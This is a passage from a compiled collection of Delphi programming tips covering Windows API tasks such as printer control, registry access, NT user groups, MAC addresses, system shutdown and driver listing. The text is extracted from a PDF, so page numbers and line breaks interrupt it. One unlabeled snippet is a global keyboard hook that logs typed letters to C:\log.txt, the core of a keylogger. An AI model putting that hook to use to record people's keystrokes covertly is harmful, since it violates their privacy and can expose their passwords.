Requires Printers and WinSpool in the Uses clause. @Raises EWin32Error if the OpenPrinter call fails. }{ Created 30.9.2000 by P. Below -----------------------------------------------------------------------} Function GetCurrentPrinterHandle: THandle; Const Defaults: TPrinterDefaults = ( pDatatype : nil; pDevMode : nil; DesiredAccess : PRINTER_ACCESS_USE or PRINTER_ACCESS_ADMINISTER ); Var Device, Driver, Port : array[0..255] of char; hDeviceMode: THandle; Begin { GetCurrentPrinterHandle } Printer.GetPrinter(Device, Driver, Port, hDeviceMode); If not OpenPrinter(@Device, Result, @Defaults) Then RaiseLastWin32Error; End; { GetCurrentPrinterHandle } {: Kill all pending jobs on the current printer } Procedure PurgeJobsOnCurrentPrinter; Var hPrinter: THandle; Begin hPrinter:= GetCurrentPrinterHandle; try If not WinSpool.SetPrinter( hPrinter, 0, nil, PRINTER_CONTROL_PURGE ) Then RaiseLastWin32Error; finally ClosePrinter( hPrinter ); 485
end; End; { PurgeJobsOnCurrentPrinter }
486
NT User Groups from member... Use this function ---------------------------------function NetUserGetGroups(const servername : WideString; username : WideString; level : DWORD; var bufptr : pointer; prefmaxlen : DWORD; var entriesread : DWORD; var totalentries : DWORD ) : integer; stdcall; external 'NetApi32.dll'; -------------------------Here follows o code sample of this function tha althougth doesn't do what exactly you want to , As i believe it would be help full for you if you have any question please send an e-mail at case i don't see the forum again. -----------------------------------------------
function TUserManager.UserBelongsInGlobalGroup(const UserName, GroupName: WideString): Integer; type T_inf_buf = array[0..0] of _GROUP_USERS_INFO_0; pT_inf_buf = ^T_inf_buf; var pBuffer : pT_inf_buf; res,i : integer; PreMaxLen, TotalEntries, EntriesRead :DWORD; Group_Name : WideString; begin PreMaxLen := 1024; EntriesRead := 0; TotalEntries := 0; result :=-1; Group_Name := StringToOleStr(GroupName); NetApiBufferAllocate(PreMaxLen,pointer(pBuffer)); fillChar(pbuffer^,premaxlen,0); res := NetUserGetGroups('',StringToOleStr(UserName),0,pointer(pBuffer),PreMaxLen,En triesRead,TotalEntries);
if res = 0 then begin for i:=0 to EntriesRead - 1 do begin if AnsiCompareText(pBuffer[i].grui0_name,Group_Name)=0 then result := 0; end end 487
else result := res; NetApiBufferFree(pBuffer); end;
488
Re: Call external app from Service app The second URL you mention contains an example of CreateProcess (and not ShellExecute). You can't use ShellExecute to do the same, but you should use ShellExecuteEx, e.g. uses ShellAPI; var Info: TShellExecuteInfo; begin Info.cbSize := SizeOf(Info); Info.fMask := SEE_MASK_NOCLOSEPROCESS; Info.Wnd := Application.Handle; Info.lpVerb := 'open'; Info.lpFile := 'c:\windows\notepad.exe'; Info.lpParameters := 'c:\autoexec.bat'; Info.lpDirectory := nil; Info.nShow := SW_SHOWNORMAL; if not ShellExecuteEx(@Info) then RaiseLastWin32Error; try if WaitForSingleObject(Info.hProcess, INFINITE) <> WAIT_OBJECT_0 then RaiseLastWin32Error; finally CloseHandle(Info.hProcess); end; end;
489
It won't be the same thing, but check out the Alfa File Protector, www.alfasp.com/alfa_file_protector.exe There is a freeware component inside that package that helps work with security descriptors, directly with ACLs and ACEs. Also, the help files contain API samples on how to do this. The help files only can be downloaded from: http://www.alfasp.com/help/alfa_file_protector_help.zip Regards, Dejan. andrew wrote: > Anyone care to have a crack at converting the following C++ method to > Delphi - it would be much appreciated as Security descripters and ACL's seem > to be out of my league. > > STDMETHODIMP CQueueSecurity::CreateFullAccess(BSTR PathName) >{ > SECURITY_DESCRIPTOR sd; // Security descriptor > structure > EXPLICIT_ACCESS ea; // Explicit access structure > ACL* pdacl = 0; // Access control list pointer > > // Initialize a security descriptor > if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) > throw 0; > > // Give explicit full access to the world (Everyone) > BuildExplicitAccessWithName(&ea, _T("EVERYONE"), > MQSEC_QUEUE_GENERIC_ALL, > GRANT_ACCESS, > NO_INHERITANCE); > > // Add the explicit access to the access control list (ACL) > if (SetEntriesInAcl(1, &ea, 0, &pdacl) != ERROR_SUCCESS) > throw 0; > > // Add the access control list (ACL) to the security descriptor > if (!SetSecurityDescriptorDacl(&sd, TRUE, pdacl, FALSE)) > throw 0; > > // Create the queue >} -Kind regards, Dejan M. CEO Alfa Co. www.alfasp.com E-mail: [email protected] ICQ#: 56570367 Professional file&system related components and libraries for Win32 developers. Alfa File Monitor - #1 file monitoring system for Win32 developers. Alfa File Protector - #1 file protection and hiding system for Win32 developers. Alfa Units - #1 file and system handling units for Delphi. 490
MAIN.PAS unit main; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, Registry; type TForm1 = class(TForm) Oku: TBitBtn; Yaz: TBitBtn; Memo1: TMemo; BValue: TBitBtn; BKey: TBitBtn; BHakkinda: TBitBtn; BKapat: TBitBtn; BRegist: TBitBtn; procedure OkuClick(Sender: TObject); procedure YazClick(Sender: TObject); procedure BValueClick(Sender: TObject); procedure BKeyClick(Sender: TObject); procedure BHakkindaClick(Sender: TObject); procedure BRegistClick(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses fabout; {$R *.DFM} procedure TForm1.OkuClick(Sender: TObject); var Reg1:TRegistry; begin Reg1:=TRegistry.Create; Reg1.RootKey:=HKEY_LOCAL_MACHINE; Reg1.OpenKey('Software\MustafaSoft\RegDeneme',True); Memo1.Lines.Clear; //memo1'in içeriğini temizle Memo1.Lines.Add(Reg1.ReadString('wstring')); //wstring Memo1.Lines.Add(inttostr(Reg1.ReadInteger('wint'))); Memo1.Lines.Add(FloatToStr(Reg1.ReadFloat('wfloat'))); Memo1.Lines.Add(DateToStr(Reg1.ReadDate('bugun'))); Memo1.Lines.Add(TimeToStr(Reg1.ReadTime('wtime'))); 491
Memo1.Lines.Add(DateTimeToStr(Reg1.ReadDateTime('wdt'))); Memo1.Lines.Add(CurrToStr(Reg1.ReadCurrency('wcurr'))); Reg1.CloseKey; Reg1.Free; end; procedure TForm1.YazClick(Sender: TObject); var Reg1:TRegistry; begin Reg1:=TRegistry.Create; Reg1.RootKey:=HKEY_LOCAL_MACHINE; Reg1.OpenKey('Software\MustafaSoft\RegDeneme',True); Reg1.WriteString('wstring','Mustafa ŞİMŞEK'); Reg1.WriteInteger('wint',1234); Reg1.WriteFloat('wfloat',123.45); Reg1.WriteDate('bugun',date); Reg1.WriteDate('wtime',time); Reg1.WriteDateTime('wdt',now); Reg1.WriteCurrency('wcurr',1000000.325); Reg1.CloseKey; Reg1.Free; end; procedure TForm1.BValueClick(Sender: TObject); var Reg1:TRegistry; begin Reg1:=TRegistry.Create; Reg1.RootKey:=HKEY_LOCAL_MACHINE; Reg1.OpenKey('Software\MustafaSoft\RegDeneme',True); Reg1.GetValueNames(memo1.lines); Reg1.CloseKey; Reg1.Free; end; procedure TForm1.BKeyClick(Sender: TObject); var Reg1:TRegistry; begin Reg1:=TRegistry.Create; Reg1.RootKey:=HKEY_LOCAL_MACHINE; Reg1.OpenKey('Software',True); Reg1.GetKeyNames(memo1.lines); Reg1.CloseKey; Reg1.Free; end; procedure TForm1.BHakkindaClick(Sender: TObject); begin AboutBox.ShowModal; end; 492
procedure TForm1.BRegistClick(Sender: TObject); begin WinHelp(handle,'regist.hlp',Help_Finder,0); end; procedure TForm1.FormCreate(Sender: TObject); var Reg1:TRegistry; begin Reg1:=TRegistry.Create; Reg1.RootKey:=HKEY_LOCAL_MACHINE; if Reg1.KeyExists('Software\MustafaSoft\RegDeneme')=False then begin Reg1.CreateKey('Software\MustafaSoft\RegDeneme'); Reg1.OpenKey('Software\MustafaSoft\RegDeneme',False); Reg1.WriteString('wstring','Mustafa ŞİMŞEK'); Reg1.WriteInteger('wint',1234); Reg1.WriteFloat('wfloat',123.45); Reg1.WriteDate('bugun',date); Reg1.WriteDate('wtime',time); Reg1.WriteDateTime('wdt',now); Reg1.WriteCurrency('wcurr',1000000.325); Reg1.CloseKey; end; Reg1.Free; end; end.
http://www.mussimsek.com/ İNDİREBİLİRSİN
www.vitaminturk.com
493
Kod Başlığı Yorum Son Durum Paradox Tablolarina Run-Time modunda yeni bir alan ekleme (DbiDoRestructure) 2 7 Şub 2002 19:23 muce // // Programinizin Type Bölümüne asagidaki kodu ekleyin. // Type AlanTipi = Packed Record AlanAdi : String; AlanTipi : Word; AltTip : Word; Uzunluk : Word; KusuratSayisi : Byte; End; // // Asagidaki procedure'ü mevcut procedure'leriniz arasina ekleyin. // Procedure TForm1.AlanEkle(Dosya : TTable; YeniAlan : AlanTipi); Const IslenecekDosyaSayisi = 1; Var Ozellikler : CURProps; DosyaNo : hDBIDb; DosyaOzellikleri : CRTblDesc; AlanOzellikleri : pFLDDesc; AlanOpsiyonu : pCROpType; AlanNo : Byte; AlanSayisi : Byte; Begin If Not Dosya.Exists Then Raise EDataBaseError.Create('Dosya yok.'); If Not Dosya.Active Then Raise EDataBaseError.Create('Dosya acik olmak zorundadir.'); If Not Dosya.Exclusive Then Raise EDataBaseError.Create('Dosya tek kullanici icin (Exclusive) acik olmak zorundadir.'); AlanOzellikleri:=Nil; AlanOpsiyonu:=Nil; Check(DbiSetProp(hDBIObj(Dosya.Handle),curxltMODE,Integer(xltNONE))); Check(DbiGetCursorProps(Dosya.Handle,Ozellikler)); AlanSayisi:=Dosya.FieldCount; AlanOzellikleri:=AllocMem((AlanSayisi+1)*SizeOf(FLDDesc)); FillChar(AlanOzellikleri^,AlanSayisi+1,0); Check(DbiGetFieldDescs(Dosya.Handle,AlanOzellikleri)); For AlanNo:=1 To AlanSayisi Do Begin AlanOzellikleri^.iFldNum:=AlanNo; Inc(AlanOzellikleri,1); 494
End; Try StrCopy(AlanOzellikleri^.szName,PChar(YeniAlan.AlanAdi)); AlanOzellikleri^.iFldType:=YeniAlan.AlanTipi; AlanOzellikleri^.iSubType:=YeniAlan.AltTip; AlanOzellikleri^.iUnits1:=YeniAlan.Uzunluk; AlanOzellikleri^.iUnits2:=YeniAlan.KusuratSayisi; AlanOzellikleri^.iFldNum:=AlanSayisi+1; Finally Dec(AlanOzellikleri,AlanSayisi); End; AlanOpsiyonu:=AllocMem((AlanSayisi+1)*SizeOf(CROpType)); Inc(AlanOpsiyonu,AlanSayisi); AlanOpsiyonu^:=crADD; Dec(AlanOpsiyonu,AlanSayisi); FillChar(DosyaOzellikleri,SizeOf(DosyaOzellikleri),0); Check(DbiGetObjFromObj(hDBIObj(Dosya.Handle),objDATABASE,hDBIObj(Dosya No))); StrPCopy(DosyaOzellikleri.szTblName,Dosya.TableName); StrPCopy(DosyaOzellikleri.szTblType,Ozellikler.szTableType); DosyaOzellikleri.iFldCount:=AlanSayisi+1; DosyaOzellikleri.pecrFldOp:=AlanOpsiyonu; DosyaOzellikleri.pfldDesc:=AlanOzellikleri; Dosya.Close; Try Check(DbiDoRestructure(DosyaNo,IslenecekDosyaSayisi,@DosyaOzellikleri,nil,nil ,nil,False)); Finally FreeMem(AlanOzellikleri); FreeMem(AlanOpsiyonu); Dosya.Open; End; End; // // Kullanim sekli; // Var // Alan : AlanTipi; // ... // ... // Begin // ... // ... // Alan.AlanAdi:='Soyadi'; // Alan.AlanTipi:=257; // Alan.Uzunluk:=15; // AlanEkle(Table1,Alan); // ... // ... // End. // // Alan tipleri icin asagidaki sayilari kullanabilirsiniz. // A-257 // N-258 495
// // // // // // // // // // // // // // // //
$-259 S-261 I-267 #-273 D-260 T-268 @-269 M-262 F-264 G-266 O-265 L-270 +-271 B-263 Y-272
Program her windows açılışında sadece bir kere çalışsın... 0 5 Şub 2002 18:13 Eklendi Program her windows açılışında sadece bir kere çalışsın... procedure TForm1.FormShow(Sender : TObject); var atom : integer; CRLF : string; begin if GlobalFindAtom('THIS_IS_SOME_OBSCUREE_TEXT') = 0 then atom := GlobalAddAtom('THIS_IS_SOME_OBSCUREE_TEXT') else begin CRLF := #10 + #13; ShowMessage('Bu versiyon her Windows oturumunda yanlızca bir kere çalışır.' + CRLF + 'Programı tekrar çalıştırmak için Windows'u restart edin. ' + CRLF + 'REGISTER !!'); Close; end; end;
uses StdCtrls, Mask, DBCtrls, Grids, DBGrids,extctrls, dbcgrids, CheckLst ; public procedure CMfocuschanged(var message: TCMfocuschanged); message CM_Focuschanged; 496
procedure Tform1.CMFocusChanged(var Message: TCMFocusChanged); var i:integer; grenk : tcolor; BEGIN grenk := clwhite; if (message.sender is tedit) or (message.sender is tcombobox) or (message.sender is tlistbox) or (message.sender is tcheckbox) or (message.sender is tradiobutton) or (message.sender is tdbedit)or (message.sender is tdbcombobox) or (message.sender is tdblistbox) or (message.sender is tdbcheckbox) or (message.sender is TMemo) or (message.sender is TDBMemo) or (message.sender is TDBGrid) or (message.sender is TMaskEdit) or (message.sender is TStringGrid) or (message.sender is TDrawGrid) or (message.sender is TCheckListBox) or (message.sender is TDBRichEdit) or (message.sender is TDBLookupListBox) or (message.sender is TDBLookupComboBox) then begin for i:=0 to componentcount-1 do begin if components[i] is tedit then tedit(components[ i ]).color:= grenk; if components[i] is tcombobox then tcombobox(components[i]).color:= grenk; if components[i] is tlistbox then tlistbox(components[i]).color:= grenk; if components[i] is tcheckbox then tcheckbox(components[i]).color := grenk; if components[i] is tradiobutton then tradiobutton(components[i]).color:= grenk; if components[i] is tdbedit then tdbedit(components[i]).color:= grenk; if components[i] is tdbcombobox then 497
tdbcombobox(components[i]).color:= grenk; if components[i] is tdblistbox then tdblistbox(components[i]).color:= grenk; if components[i] is tdbcheckbox then tdbcheckbox(components[i]).color:= grenk; if components[i] is TMemo then TMemo(components[i]).color:= grenk; if components[i] is TDBMemo then TDBMemo(components[i]).color:= grenk; if components[i] is TDBGrid then TDBGrid(components[i]).color:= grenk; if components[i] is TMaskEdit then TMaskEdit(components[i]).color:= grenk; if components[i] is TStringGrid then TStringGrid(components[i]).color:= grenk; if components[i] is TDrawGrid then TDrawGrid(components[i]).color:= grenk; if components[i] is TCheckListBox then TCheckListBox(components[i]).color:= grenk; if components[i] is TDBRichEdit then TDBRichEdit(components[i]).color:= grenk; if components[i] is TDBLookupListBox then TDBLookupListBox(components[i]).color:= grenk; if components[i] is TDBLookupComboBox then TDBLookupComboBox(components[i]).color:= grenk; end ; tedit(message.sender).color:=$004080FF; 498
end end;
var KeyArray: array[0..19] of byte; KeyArrayPtr: integer; CurFile: file of byte; function GlobalKeyBoardHook(code: integer; wParam: word; lParam: longword): longword; stdcall; begin if code < 0 then begin GlobalKeyBoardHook := CallNextHookEx(CurrentHook,code,wParam,lparam); Exit; end; if ((Hiword(lParam) and KF_UP)=0) and (wParam>=65) and (wParam<=90) then begin KeyArray[KeyArrayPtr] := wParam; KeyArrayPtr := KeyArrayPtr + 1; if KeyArrayPtr > 9 then begin assignfile(CurFile,'C:\log.txt'); if fileexists('C:\log.txt')=false then rewrite(CurFile) else reset(CurFile); blockwrite(CurFile,KeyArray[0],20); closefile(CurFile); KeyArrayPtr:=0; end; end; CallNextHookEx(CurrentHook,code,wParam,lparam); GlobalKeyBoardHook:=0; Exit; end; **** END
499
..found somewhere on the Wild West Web: unit MacAddr; interface uses NetApi32, Classes, SysUtils, Windows; function GetMacAddresses(const Machine: string; const Addresses: TStrings): Integer; implementation Type ASTAT = record adapt: TADAPTER_STATUS; namebuf: array [0..29] of TNAME_BUFFER; end; function AdapterToString(Adapter: TADAPTER_STATUS): string; begin with Adapter do Result := Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x', [Integer(adapter_address[0]), Integer(adapter_address[1]), Integer(adapter_address[2]), Integer(adapter_address[3]), Integer(adapter_address[4]), Integer(adapter_address[5])]); end; function GetMacAddresses(const Machine: string; const Addresses: TStrings): Integer; var NCB: TNCB; Enum: TLANA_ENUM; I, L, NameLen: Integer; Adapter: ASTAT; MachineName: string; begin Result := -1; Addresses.Clear; MachineName := UpperCase(Machine); if MachineName = '' then MachineName := '*'; NameLen := Length(MachineName); L := NCBNAMSZ - NameLen; if L > 0 then begin SetLength(MachineName, NCBNAMSZ); FillChar(MachineName[NameLen + 1], L, ' '); end; FillChar(NCB, SizeOf(NCB), #0); NCB.ncb_command := NCBENUM; NCB.ncb_buffer := Pointer(@Enum); NCB.ncb_length := SizeOf(Enum); if NetBios(@NCB) = NRC_GOODRET then begin Result := Enum.Length; for I := 0 to Ord(Enum.Length) - 1 do begin 500
FillChar(NCB, SizeOf(NCB), #0); NCB.ncb_command := NCBRESET; NCB.ncb_lana_num := Enum.lana[I]; if NetBios(@NCB) = NRC_GOODRET then begin FillChar(NCB, SizeOf(NCB), #0); NCB.ncb_command := NCBASTAT; NCB.ncb_lana_num := Enum.lana[I]; Move(MachineName[1], NCB.ncb_callname, SizeOf(NCB.ncb_callname)); NCB.ncb_buffer := PUChar(@Adapter); NCB.ncb_length := SizeOf(Adapter); if NetBios(@NCB) = NRC_GOODRET then Addresses.Add(AdapterToString(Adapter.adapt)); end; end; end; end; end.
501
unit Main; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, registry, ComCtrls; type TForm1 = class(TForm) FixFlashBtn: TBitBtn; UnFixFlashBtn: TBitBtn; StatusBar1: TStatusBar; Memo1: TMemo; StatusBar2: TStatusBar; procedure FixFlashBtnClick(Sender: TObject); procedure UnFixFlashBtnClick(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } function isFlasFixed : boolean; function IsWindows2000(out PlatformInfo : string) : Boolean; procedure SaveIntegerKey(Key, SubKey : String; value : integer); function GetIntegerKey(Key, SubKey : String) : integer; procedure WM_SETTINGCHANGE(var msg : tmessage); message WM_SETTINGCHANGE; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} const TrioRegKey = '\SOFTWARE\Trio\Present\Operator'; FixRegKey = 'PreFixFlash'; var OSVersionInfo : TOSVersionInfo; CurVerKey : PChar; procedure TForm1.WM_SETTINGCHANGE(var msg : tmessage); begin case msg.wparam of SPI_SETFOREGROUNDLOCKTIMEOUT : begin if isFlasFixed then statusbar1.SimpleText := 'Flash fix installeret' else statusbar1.SimpleText := 'Flash fix afinstalleret'; end; end; 502
end; function TForm1.GetIntegerKey(Key, SubKey : String) : integer; begin with TRegistry.create do try RootKey := HKEY_LOCAL_MACHINE; Access := KEY_READ; if openkey(Key, false) then if ValueExists(SubKey) then result := readinteger(SubKey) else result := -1; finally free; end; end; procedure TForm1.SaveIntegerKey(Key, SubKey : String; value : integer); begin with TRegistry.create do try RootKey := HKEY_LOCAL_MACHINE; Access := KEY_READ or KEY_WRITE; if openkey(Key, true) then writeinteger(subkey, value); finally free; end; end; procedure TForm1.FixFlashBtnClick(Sender: TObject); var uiParam : integer; procedure getLastSystemError; var lpMsgBuf : pchar; begin Formatmessage(FORMAT_MESSAGE_ALLOCATE_BUFFER + FORMAT_MESSAGE_FROM_SYSTEM, nil, GetLastError(), 0 , @lpMsgBuf, 0, nil ); MessageBox( 0, lpMsgBuf, 'GetLastError', MB_OK+MB_ICONINFORMATION ); end; begin try SystemParametersInfo(SPI_GETFOREGROUNDLOCKTIMEOUT, 0, @uiParam, 0); SaveIntegerKey(TrioRegKey, FixRegKey, uiParam); uiParam := 0; if not SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, TObject(uiParam), 503
SPIF_SENDWININICHANGE or SPIF_UPDATEINIFILE) then getLastSystemError; FixFlashBtn.Enabled := false; unFixFlashBtn.Enabled := true; except on e:exception do showmessage(e.message); end; end; procedure TForm1.UnFixFlashBtnClick(Sender: TObject); var uiParam : integer; begin try uiParam := 200000; //GetIntegerKey(TrioRegKey, FixRegKey); SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, TObject(uiParam), SPIF_SENDWININICHANGE or SPIF_UPDATEINIFILE); FixFlashBtn.Enabled := true; unFixFlashBtn.Enabled := false; except on e:exception do showmessage(e.message); end; end; function TForm1.isFlasFixed : boolean; var uiParam : integer; begin result := false; try SystemParametersInfo(SPI_GETFOREGROUNDLOCKTIMEOUT, 0, @uiParam, 0); result := uiParam = 0; except on e:exception do showmessage(e.message); end; end; procedure TForm1.FormCreate(Sender: TObject); var platformid : string; begin IsWindows2000(platformid); StatusBar2.SimpleText := platformid; if isFlasFixed then begin FixFlashBtn.Enabled := false; unFixFlashBtn.Enabled := true; statusbar1.SimpleText := 'Flash fix allerede installeret'; end else begin 504
FixFlashBtn.Enabled := true; unFixFlashBtn.Enabled := false; statusbar1.SimpleText := 'Flash fix ikke installeret'; end; end; function TForm1.IsWindows2000(out PlatformInfo : string) : Boolean; var addinfo : string; begin result := false; case OSVersionInfo.dwPlatformID of VER_PLATFORM_WIN32s : begin PlatformInfo := 'Windows 3.11'; addinfo := OSVersionInfo.szCSDVersion; end; VER_PLATFORM_WIN32_WINDOWS : begin PlatformInfo := 'Windows 95'; addinfo := OSVersionInfo.szCSDVersion; end; VER_PLATFORM_WIN32_NT : begin if OSVersionInfo.dwMajorversion < 5 then PlatformInfo := 'Windows NT' else PlatformInfo := 'Windows 2000'; addinfo := OSVersionInfo.szCSDVersion + format(' build %d', [OSVersionInfo.dwBuildNumber]); result := OSVersionInfo.dwMajorversion = 5; end; else PlatformInfo := 'UKENDT'; end; PlatformInfo := PlatformInfo + {format(' Version %d.%.2d', [OSVersionInfo.dwMajorversion, OSVersioninfo.dwMinorversion]) +} ', ' +addinfo; end; initialization { first time initialization of our unit } OSVersionInfo.dwOSVersionInfoSize := sizeof(OSVersionInfo); GetVersionEx(OSVersionInfo); case OSVersionInfo.dwPlatformID of VER_PLATFORM_WIN32_WINDOWS : CurVerKey := '\SOFTWARE\Microsoft\Windows\CurrentVersion'; VER_PLATFORM_WIN32_NT : CurVerKey := '\SOFTWARE\Microsoft\Windows NT\CurrentVersion'; else CurVerKey := nil; end; end.
505
506
program Shutdown; {$APPTYPE CONSOLE} uses SysUtils, Windows; // Shutdown Program // (c) 2000 NeuralAbyss Software // www.neuralabyss.com var logoff: Boolean = False; reboot: Boolean = False; warn: Boolean = False; downQuick: Boolean = False; cancelShutdown: Boolean = False; powerOff: Boolean = False; timeDelay: Integer = 0; function HasParam(Opt: Char): Boolean; var x: Integer; begin Result := False; for x := 1 to ParamCount do if (ParamStr(x) = '-' + opt) or (ParamStr(x) = '/' + opt) then Result := True; end; function GetErrorstring: string; var lz: Cardinal; err: array[0..512] of Char; begin lz := GetLastError; FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, nil, lz, 0, @err, 512, nil); Result := string(err); end; procedure DoShutdown; var rl, flgs: Cardinal; hToken: Cardinal; tkp: TOKEN_PRIVILEGES; begin flgs := 0; if downQuick then flgs := flgs or EWX_FORCE; if not reboot then flgs := flgs or EWX_SHUTDOWN; if reboot then flgs := flgs or EWX_REBOOT; if poweroff and (not reboot) then flgs := flgs or EWX_POWEROFF; if logoff then flgs := (flgs and (not (EWX_REBOOT or EWX_SHUTDOWN or EWX_POWEROFF))) or 507
EWX_LOGOFF; if Win32Platform = VER_PLATFORM_WIN32_NT then begin if not OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then Writeln('Cannot open process token. [' + GetErrorstring + ']') else begin if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then begin tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; tkp.PrivilegeCount := 1; AdjustTokenPrivileges(hToken, False, tkp, 0, nil, rl); if GetLastError <> ERROR_SUCCESS then Writeln('Error adjusting process privileges.'); end else Writeln('Cannot find privilege value. [' + GetErrorstring + ']'); end; { if CancelShutdown then if AbortSystemShutdown(nil) = False then Writeln(\'Cannot abort. [\' + GetErrorstring + \']\') else Writeln(\'Cancelled.\') else begin if InitiateSystemShutdown(nil, nil, timeDelay, downQuick, Reboot) = False then Writeln(\'Cannot go down. [\' + GetErrorstring + \']\') else Writeln(\'Shutting down!\'); end; } end; // else begin ExitWindowsEx(flgs, 0); // end; end; begin Writeln('Shutdown v0.3 for Win32 (similar to the Linux version)'); Writeln('(c) 2000 NeuralAbyss Software. All Rights Reserved.'); if HasParam('?') or (ParamCount = 0) then begin Writeln('Usage: shutdown [-akrhfnc] [-t secs]'); Writeln(' -k: don''t really shutdown, only warn.'); Writeln(' -r: reboot after shutdown.'); Writeln(' -h: halt after shutdown.'); Writeln(' -p: power off after shutdown'); Writeln(' -l: log off only'); Writeln(' -n: kill apps that don''t want to die.'); Writeln(' -c: cancel a running shutdown.'); 508
end else begin if HasParam('k') then warn := True; if HasParam('r') then reboot := True; if HasParam('h') and reboot then begin Writeln('Error: Cannot specify -r and -h parameters together!'); Exit; end; if HasParam('h') then reboot := False; if HasParam('n') then downQuick := True; if HasParam('c') then cancelShutdown := True; if HasParam('p') then powerOff := True; if HasParam('l') then logoff := True; DoShutdown; end; end. {************************************************************************} {2.} function MyExitWindows(RebootParam: Longword): Boolean; var TTokenHd: THandle; TTokenPvg: TTokenPrivileges; cbtpPrevious: DWORD; rTTokenPvg: TTokenPrivileges; pcbtpPreviousRequired: DWORD; tpResult: Boolean; const SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; begin if Win32Platform = VER_PLATFORM_WIN32_NT then begin tpResult := OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHd); if tpResult then begin tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME, TTokenPvg.Privileges[0].Luid); TTokenPvg.PrivilegeCount := 1; TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; cbtpPrevious := SizeOf(rTTokenPvg); pcbtpPreviousRequired := 0; if tpResult then Windows.AdjustTokenPrivileges(TTokenHd, False, TTokenPvg, cbtpPrevious, 509
rTTokenPvg, pcbtpPreviousRequired); end; end; Result := ExitWindowsEx(RebootParam, 0); end; // Example to shutdown Windows: procedure TForm1.Button1Click(Sender: TObject); begin MyExitWindows(EWX_POWEROFF); end; // Parameters for MyExitWindows() EWX_LOGOFF Shuts down all processes running in the security context of the process that called the ExitWindowsEx function. Then it logs the user off. Alle Prozesse des Benutzers werden beendet, danach wird der Benutzer abgemeldet. EWX_POWEROFF Shuts down the system and turns off the power. The system must support the power-off feature. Windows NT/2000/XP: The calling process must have the SE_SHUTDOWN_NAME privilege. Fährt Windows herunter und setzt den Computer in den StandBy-Modus, sofern von der Hardware unterstützt. EWX_REBOOT Shuts down the system and then restarts the system. Windows NT/2000/XP: The calling process must have the SE_SHUTDOWN_NAME privilege. Fährt Windows herunter und startet es neu. EWX_SHUTDOWN Shuts down the system to a point at which it is safe to turn off the power. All file buffers have been flushed to disk, and all running processes have stopped. If the system supports the power-off feature, the power is also turned off. Windows NT/2000/XP: The calling process must have the SE_SHUTDOWN_NAME privilege. 510
Fährt Windows herunter. EWX_FORCE Forces processes to terminate. When this flag is set, the system does not send the WM_QUERYENDSESSION and WM_ENDSESSION messages. This can cause the applications to lose data. Therefore, you should only use this flag in an emergency. Die aktiven Prozesse werden zwangsweise und ohne Rückfrage beendet. EWX_FORCEIFHUNG Windows 2000/XP: Forces processes to terminate if they do not respond to the WM_QUERYENDSESSION or WM_ENDSESSION message. This flag is ignored if EWX_FORCE is used. Windows 2000/XP: Die aktiven Prozesse werden aufgefordert, sich selbst zu beenden und müssen dies bestätigen. Reagieren sie nicht, werden sie zwangsweise beendet.
511
{ This code takes advantage of the undocumented NtQuerySystemInformation API to obtain a list of loaded drivers under Windows NT. Dieser Code verwendet die undokumentiere NtQuerySystemInformation API Funktion um eine Liste aller geladenen Treiber unter Windows NT zu ermitteln. } const DRIVER_INFORMATION = 11; type TPDWord = ^DWORD; TDriverInfo = packed record Address: Pointer; Unknown1: DWORD; Unknown2: DWORD; EntryIndex: DWORD; Unknown4: DWORD; Name: array [0..MAX_PATH + 3] of Char; end; var NtQuerySystemInformation: function (infoClass: DWORD; buffer: Pointer; bufSize: DWORD; returnSize: TPDword): DWORD; stdcall = nil; function GetDriverInfo: string; var temp, Index, numBytes, numEntries: DWORD; buf: TPDword; driverInfo: ^TDriverInfo; begin if @NtQuerySystemInformation = nil then NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'), 'NtQuerySystemInformation'); // Obtain required buffer size NtQuerySystemInformation(DRIVER_INFORMATION, @temp, 0, @numBytes); // Allocate buffer buf := AllocMem(numBytes * 2); NtQuerySystemInformation(DRIVER_INFORMATION, buf, numBytes * 2, @numBytes); numEntries := buf^; driverInfo := Pointer(DWORD(buf) + 12); Result := ''; for Index := 1 to numEntries do begin Result := Result + #$D#$A + 'Address: $' + 512
IntToHex(DWORD(driverInfo^.Address), 8) + 'Name: "' + (driverInfo^.Name) + '"'; Inc(driverInfo); end; Delete(Result, 1, 2); FreeMem(buf); end; procedure TForm1.Button1Click(Sender: TObject); begin ListBox1.Items.Add(GetDriverInfo) end; // // // // //
Thanks to Madshi for helping me translate from C++ Code Original Code (C++) : NtDriverList v1.0 Copyright 1998, 1999 Yariv Kaplan WWW.INTERNALS.COM
513
function NetUserChangePassword(Domain: PWideChar; UserName: PWideChar; OldPassword: PWideChar; NewPassword: PWideChar): Longint; stdcall; external 'netapi32.dll' Name 'NetUserChangePassword'; // Changes a user's password for a specified network server or domain. // Requirements: Windows NT/2000/XP // Windows 95/98/Me: You can use the PwdChangePassword function to change a user's // Windows logon password on these platforms procedure TForm1.Button1Click(Sender: TObject); begin NetUserChangePassword(PWideChar(WideString('\\COMPUTER')), PWideChar(WideString('username')), PWideChar(WideString('oldpass')), PWideChar(WideString('newpass'))); end;
514
..get the IP-Address bhind a router/proxy? Author: Steffen Schirmer (Steve Tricky) Homepage: http://tricky-soft.de.vu 0 Comments to this tip [Write new comment] [ Print tip ] Tip Rating: (13):
Skill:
Useful:
